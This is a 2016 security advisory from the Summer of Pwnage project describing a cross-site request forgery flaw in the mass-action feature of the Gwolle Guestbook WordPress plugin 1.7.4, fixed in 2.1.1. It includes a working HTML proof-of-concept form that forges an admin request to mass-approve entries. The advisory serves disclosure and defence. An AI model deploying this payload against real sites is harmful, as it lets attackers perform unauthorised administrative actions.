WordPress Gwolle Guestbook plugin version 1.7.4 suffers from a cross site request forgery vulnerability.
1bd1bc2e04a3905b8fa5ebc638456a3f3b21685782c8f763c38784cf56a21eac
------------------------------------------------------------------------
Gwolle Guestbook mass action vulnerable for Cross-Site Request Forgery
------------------------------------------------------------------------
Radjnies Bhansingh, July 2016
------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
A Cross-Site Request Forgery (CSRF) vulnerability was found in the
Gwolle Guestbook WordPress plugin. This issue can be used by an attacker
to mass approve of disapprove entries. In order to exploit this issue,
the attacker needs to lure a victim with editor or admin privileges to
an attacker-controlled page or trick him into clicking a malicous link.
------------------------------------------------------------------------
OVE ID
------------------------------------------------------------------------
OVE-20160724-0001
------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
This issue was succesfully tested on the Gwolle Guestbook WordPress
Plugin version 1.7.4.
------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
This issue was fixed in Gwolle Guestbook version version 2.1.1. The most
recent version of Gwolle Guestbook can be obtained from the following
location:
https://wordpress.org/plugins/gwolle-gb/
------------------------------------------------------------------------
Details
------------------------------------------------------------------------
https://sumofpwn.nl/advisory/2016/gwolle_guestbook_mass_action_vulnerable_for_cross_site_request_forgery.html
The Gwolle guestbook allows actions to be performed on multiple entries at once (mass-action). Although actions performed on a single entry do provide protection against Cross-Site Request Forgery (CSRF) by using wp-nonces, mass-action lacks this protection. Since the entry IDs are enumerable it allows an attacker to mass approve of disapprove entries.
Proof of Concept
The following proof of concept code demonstrates this issue:
<html>
<body>
<form action="http://<target>/wordpress/wp-admin/admin.php?page=gwolle-gb%2Fentries.php" method="POST">
<input type="hidden" name="gwolle_gb_page" value="entries" />
<input type="hidden" name="pageNum" value="1" />
<input type="hidden" name="entriesOnThisPage" value="2" />
<input type="hidden" name="show" value="all" />
<input type="hidden" name="massEditAction1" value="check" />
<input type="hidden" name="doaction" value="Apply" />
<input type="hidden" name="check-2" value="on" />
<input type="hidden" name="check-1" value="on" />
<input type="hidden" name="massEditAction2" value="-1" />
<input type="hidden" name="" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
------------------------------------------------------------------------
Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its
goal is to contribute to the security of popular, widely used OSS
projects in a fun and educational way.